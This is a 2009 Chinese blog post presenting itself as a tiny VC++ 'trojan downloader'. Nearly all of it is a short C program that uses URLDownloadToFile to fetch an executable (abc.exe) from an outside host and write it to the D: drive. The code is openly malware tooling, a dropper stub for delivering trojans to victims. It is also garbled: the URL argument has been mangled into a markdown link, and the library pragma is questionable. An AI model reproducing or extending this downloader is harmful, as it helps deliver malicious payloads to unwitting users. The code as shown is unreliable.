---
title: "vc++编写一个木马下载器，体积仅有0.3K"
author: "winzenghua"
date: "2009-03-29T18:17:00Z"
tags: []
slug: "vc-0-3k"
draft: false
lastmod: "2009-03-29T18:17:00Z"
id: 948153
url: "https://java4gis.iteye.com/blog/948153"
---

#include &lt;urlmon.h&gt;  
#pragma link "w32inet.lib"

int main()  
{  
HRESULT hRet=URLDownloadToFile(0,"[http://www.1111.com/abc.exe","d:\\\\abc.exe",0,0](http://www.1111.com/abc.exe%22,%22d:%5C%5Cabc.exe%22,0,0));  
if(hRet==S\_OK)  
{  
printf("Download OK!\\n");  
}  
else  
{  
printf("Download Failed!\\n");  
}  
return 0;  
}